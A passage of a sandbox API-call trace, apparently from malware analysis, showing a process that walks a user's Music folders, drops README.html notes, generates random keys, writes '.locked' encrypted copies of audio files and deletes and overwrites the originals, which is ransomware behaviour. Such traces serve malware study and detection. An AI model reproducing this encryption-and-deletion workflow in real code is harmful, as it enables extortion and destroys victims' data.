	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75703850, ftCreationTime.dwHighDateTime=0x1d4d3bf, ftLastAccessTime.dwLowDateTime=0x85285730, ftLastAccessTime.dwHighDateTime=0x1d4c66f, ftLastWriteTime.dwLowDateTime=0x85285730, ftLastWriteTime.dwHighDateTime=0x1d4c66f, nFileSizeHigh=0x0, nFileSizeLow=0x9530, dwReserved0=0x0, dwReserved1=0x0, cFileName="uR2ZXCScWtBpT.m4a", cAlternateFileName="UR2ZXC~1.M4A")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbeb7c0, ftCreationTime.dwHighDateTime=0x1d4ce57, ftLastAccessTime.dwLowDateTime=0xde853760, ftLastAccessTime.dwHighDateTime=0x1d4cb58, ftLastWriteTime.dwLowDateTime=0xde853760, ftLastWriteTime.dwHighDateTime=0x1d4cb58, nFileSizeHigh=0x0, nFileSizeLow=0xedd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="YQZxV.mp3", cAlternateFileName="")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.302] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0077.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.303] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0077.303] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0077.304] CloseHandle (hObject=0xc0) returned 1
	[0077.304] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x51, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x51) returned 1
	[0077.307] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69238ef0, ftCreationTime.dwHighDateTime=0x1d4d4ee, ftLastAccessTime.dwLowDateTime=0x33db3be0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0x33db3be0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69238ef0, ftCreationTime.dwHighDateTime=0x1d4d4ee, ftLastAccessTime.dwLowDateTime=0x33db3be0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0x33db3be0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0077.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69238ef0, ftCreationTime.dwHighDateTime=0x1d4d4ee, ftLastAccessTime.dwLowDateTime=0x33db3be0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0x33db3be0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb6973b0, ftCreationTime.dwHighDateTime=0x1d4c60e, ftLastAccessTime.dwLowDateTime=0x6f3381e0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x6f3381e0, ftLastWriteTime.dwHighDateTime=0x1d4cd3e, nFileSizeHigh=0x0, nFileSizeLow=0xf1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_4a24qja62mJfSL.wav", cAlternateFileName="_4A24Q~1.WAV")) returned 1
	[0077.308] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.308] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0077.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.308] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec68 | out: lpMode=0x127eec68) returned 0
	[0077.308] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eec58, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eec58*=0xc5a, lpOverlapped=0x0) returned 1
	[0077.309] CloseHandle (hObject=0xc0) returned 1
	[0077.310] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12798000*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x127ee7e8, lpReserved=0x0 | out: lpBuffer=0x12798000*, lpNumberOfCharsWritten=0x127ee7e8*=0x5b) returned 1
	[0077.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb6973b0, ftCreationTime.dwHighDateTime=0x1d4c60e, ftLastAccessTime.dwLowDateTime=0x6f3381e0, ftLastAccessTime.dwHighDateTime=0x1d4cd3e, ftLastWriteTime.dwLowDateTime=0x6f3381e0, ftLastWriteTime.dwHighDateTime=0x1d4cd3e, nFileSizeHigh=0x0, nFileSizeLow=0xf1d0)) returned 1
	[0077.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.311] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.313] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.313] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0077.313] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796390 | out: pbBuffer=0x12796390) returned 1
	[0077.313] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc201 | out: pbBuffer=0x123bc201) returned 1
	[0077.314] WriteFile (in: hFile=0xc4, lpBuffer=0x1279f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1279f000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.316] SetEvent (hEvent=0xb4) returned 1
	[0077.316] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xf1d0, lpOverlapped=0x0) returned 1
	[0077.318] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xf1d0, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xf1d0, lpOverlapped=0x0) returned 1
	[0077.319] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.319] CloseHandle (hObject=0xc4) returned 1
	[0077.319] CloseHandle (hObject=0xc0) returned 1
	[0077.319] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.320] SetEvent (hEvent=0xb4) returned 1
	[0077.320] SetEvent (hEvent=0x8c) returned 1
	[0077.320] SetEvent (hEvent=0x80) returned 1
	[0077.320] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.320] SetEvent (hEvent=0x80) returned 1
	[0077.320] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12798000*, nNumberOfCharsToWrite=0x59, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x12798000*, lpNumberOfCharsWritten=0x127ee774*=0x59) returned 1
	[0077.322] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav")) returned 1
	[0077.342] SetEvent (hEvent=0x8c) returned 1
	[0077.346] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.346] SetEvent (hEvent=0x8c) returned 1
	[0077.346] SetEvent (hEvent=0x80) returned 1
	[0077.346] SetEvent (hEvent=0xb4) returned 1
	[0077.346] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.347] SetEvent (hEvent=0xa8) returned 1
	[0077.347] SetEvent (hEvent=0xb4) returned 1
	[0077.349] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.349] SetEvent (hEvent=0xb4) returned 1
	[0077.350] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.350] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.350] SetEvent (hEvent=0xb4) returned 1
	[0077.350] SetEvent (hEvent=0x80) returned 1
	[0077.350] SetEvent (hEvent=0x8c) returned 1
	[0077.350] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.351] SetEvent (hEvent=0x8c) returned 1
	[0077.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.351] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.351] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.378] CloseHandle (hObject=0xc0) returned 1
	[0077.378] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\5vQRN6Tiy\\_4a24qja62mJfSL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\5vqrn6tiy\\_4a24qja62mjfsl.wav")) returned 1
	[0077.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5551150, ftCreationTime.dwHighDateTime=0x1d4cbdf, ftLastAccessTime.dwLowDateTime=0x6477a080, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x6477a080, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0077.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5551150, ftCreationTime.dwHighDateTime=0x1d4cbdf, ftLastAccessTime.dwLowDateTime=0x6477a080, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x6477a080, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5551150, ftCreationTime.dwHighDateTime=0x1d4cbdf, ftLastAccessTime.dwLowDateTime=0x6477a080, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x6477a080, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a9f890, ftCreationTime.dwHighDateTime=0x1d4d4f0, ftLastAccessTime.dwLowDateTime=0xd7f177f0, ftLastAccessTime.dwHighDateTime=0x1d4cef6, ftLastWriteTime.dwLowDateTime=0xd7f177f0, ftLastWriteTime.dwHighDateTime=0x1d4cef6, nFileSizeHigh=0x0, nFileSizeLow=0x1421, dwReserved0=0x0, dwReserved1=0x0, cFileName="B_Fjk0vb3tuJuqS7.m4a", cAlternateFileName="B_FJK0~1.M4A")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fe61450, ftCreationTime.dwHighDateTime=0x1d4c8a3, ftLastAccessTime.dwLowDateTime=0x1b526ce0, ftLastAccessTime.dwHighDateTime=0x1d4c635, ftLastWriteTime.dwLowDateTime=0x1b526ce0, ftLastWriteTime.dwHighDateTime=0x1d4c635, nFileSizeHigh=0x0, nFileSizeLow=0x180e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="cO0f.wav", cAlternateFileName="")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa648bfc0, ftCreationTime.dwHighDateTime=0x1d4cfdb, ftLastAccessTime.dwLowDateTime=0xf84d35e0, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0xf84d35e0, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0x11493, dwReserved0=0x0, dwReserved1=0x0, cFileName="FojActhCIE.wav", cAlternateFileName="FOJACT~1.WAV")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7427b5b0, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x9d8d25a0, ftLastAccessTime.dwHighDateTime=0x1d4ce47, ftLastWriteTime.dwLowDateTime=0x9d8d25a0, ftLastWriteTime.dwHighDateTime=0x1d4ce47, nFileSizeHigh=0x0, nFileSizeLow=0x15dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="hQ_CmjzW6h4E2RX.mp3", cAlternateFileName="HQ_CMJ~1.MP3")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9f6a0, ftCreationTime.dwHighDateTime=0x1d4d47d, ftLastAccessTime.dwLowDateTime=0x5c98940, ftLastAccessTime.dwHighDateTime=0x1d4c8a5, ftLastWriteTime.dwLowDateTime=0x5c98940, ftLastWriteTime.dwHighDateTime=0x1d4c8a5, nFileSizeHigh=0x0, nFileSizeLow=0xe859, dwReserved0=0x0, dwReserved1=0x0, cFileName="i9vNtmyPIVEKL.mp3", cAlternateFileName="I9VNTM~1.MP3")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f8a360, ftCreationTime.dwHighDateTime=0x1d4d5b3, ftLastAccessTime.dwLowDateTime=0x4cb08080, ftLastAccessTime.dwHighDateTime=0x1d4ccf0, ftLastWriteTime.dwLowDateTime=0x4cb08080, ftLastWriteTime.dwHighDateTime=0x1d4ccf0, nFileSizeHigh=0x0, nFileSizeLow=0x13230, dwReserved0=0x0, dwReserved1=0x0, cFileName="O-jbYjFbr99tjEN.wav", cAlternateFileName="O-JBYJ~1.WAV")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbc448c0, ftCreationTime.dwHighDateTime=0x1d4c940, ftLastAccessTime.dwLowDateTime=0x5c5028e0, ftLastAccessTime.dwHighDateTime=0x1d4cd97, ftLastWriteTime.dwLowDateTime=0x5c5028e0, ftLastWriteTime.dwHighDateTime=0x1d4cd97, nFileSizeHigh=0x0, nFileSizeLow=0xfbfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="rLgKrrm-.wav", cAlternateFileName="")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa46cc50, ftCreationTime.dwHighDateTime=0x1d4cc7c, ftLastAccessTime.dwLowDateTime=0xbed7b2a0, ftLastAccessTime.dwHighDateTime=0x1d4c8e5, ftLastWriteTime.dwLowDateTime=0xbed7b2a0, ftLastWriteTime.dwHighDateTime=0x1d4c8e5, nFileSizeHigh=0x0, nFileSizeLow=0xdbfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="tfUmoToD3o-U-IGS S.wav", cAlternateFileName="TFUMOT~1.WAV")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6d46680, ftCreationTime.dwHighDateTime=0x1d4d0b5, ftLastAccessTime.dwLowDateTime=0xe7ed68a0, ftLastAccessTime.dwHighDateTime=0x1d4c9e0, ftLastWriteTime.dwLowDateTime=0xe7ed68a0, ftLastWriteTime.dwHighDateTime=0x1d4c9e0, nFileSizeHigh=0x0, nFileSizeLow=0x1769a, dwReserved0=0x0, dwReserved1=0x0, cFileName="wyXUQFoNPQQhxiR.mp3", cAlternateFileName="WYXUQF~1.MP3")) returned 1
	[0077.382] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.382] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0077.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.382] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec68 | out: lpMode=0x127eec68) returned 0
	[0077.383] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eec58, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eec58*=0xc5a, lpOverlapped=0x0) returned 1
	[0077.384] CloseHandle (hObject=0xc0) returned 1
	[0077.384] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x64, lpNumberOfCharsWritten=0x127ee7e8, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee7e8*=0x64) returned 1
	[0077.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\B_Fjk0vb3tuJuqS7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\b_fjk0vb3tujuqs7.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a9f890, ftCreationTime.dwHighDateTime=0x1d4d4f0, ftLastAccessTime.dwLowDateTime=0xd7f177f0, ftLastAccessTime.dwHighDateTime=0x1d4cef6, ftLastWriteTime.dwLowDateTime=0xd7f177f0, ftLastWriteTime.dwHighDateTime=0x1d4cef6, nFileSizeHigh=0x0, nFileSizeLow=0x1421)) returned 1
	[0077.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa648bfc0, ftCreationTime.dwHighDateTime=0x1d4cfdb, ftLastAccessTime.dwLowDateTime=0xf84d35e0, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0xf84d35e0, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0x11493)) returned 1
	[0077.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.386] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
